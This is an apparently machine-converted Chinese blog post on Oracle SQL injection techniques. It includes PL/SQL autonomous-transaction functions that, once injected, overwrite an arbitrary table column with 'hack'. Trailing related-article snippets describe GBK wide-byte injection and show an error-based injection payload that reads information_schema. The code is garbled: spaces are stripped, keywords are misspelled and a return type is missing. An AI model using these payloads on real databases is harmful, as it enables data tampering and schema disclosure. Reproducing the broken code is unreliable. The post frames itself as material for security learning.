寫在SQL注入後

2021-09-20 21:59:23 字數 2084 閱讀 4916

1. 查詢語句後只能直接呼叫函式,不能直接呼叫儲存過程,例如:select function() from dual可以,select procedure() from dual不行;

2. 查詢語句中無法執行dml或ddl操作,也就是說如果被呼叫的函式裡有insert、update、delete、create之類的寫操作,就會報錯,除非函式被宣告為自治事務,關鍵字pragma autonomous_transaction;

1

2

3

4

5

6

7

8

9

createorreplacefunctionfuninject(ftable varchar2, fcol varchar2)return

pragma autonomous_transaction;

my_sql varchar2(1000);

begin

my_sql :='update '|| ftable ||' sets '|| fcol ||'=''hack''';

executeimmediate my_sql;

commit;

return'inject'

endfuninject

3. 如果函式中有insert、update、delete、create之類的寫操作,則只能注入到insert、update、delete之類的子查詢裡,例如:insert into table values(1,select function() from dual);

4. oracle不能注入多語句,除非被注入的sql動態語句在begin和end之間例如:

1

2

3

4

5

6

7

createorreplacefunctionfuninjecting(ftable varchar2, fcol varchar2)returnvarchar2

ismy_sql varchar2(1000);

begin

my_sql :='begin update '|| ftable ||' set '||fcol||'=''hack'';end;';

executeimmediate my_sql;

return'inject'

endfuninjecting

unwrap oracle sql原始碼的工具

網路安全測試之寫在SQL注入後的語句

本文講述的是寫在sql注入後的語句,旨在服務社會,供安全研究人員學習使用,請勿用於其他非法用途,違者後果自負。1.查詢語句後只能直接呼叫函式,不能直接呼叫儲存過程,例如 select function from dual可以,select procedure from dual不行 2.查詢語句中無...

SQL注入(三) sql注入 bugku

原理 mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如 aa 5c 就是乙個 漢字 前乙個 ascii碼大於 128 才能到漢字的範圍 我們在過濾 的時候,往往利用的思 路是將 轉換為 換的函式或者思路會在每一關遇到的時候介紹 因此我們在此想辦法將 前面新增的 除掉,一般有兩種...

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...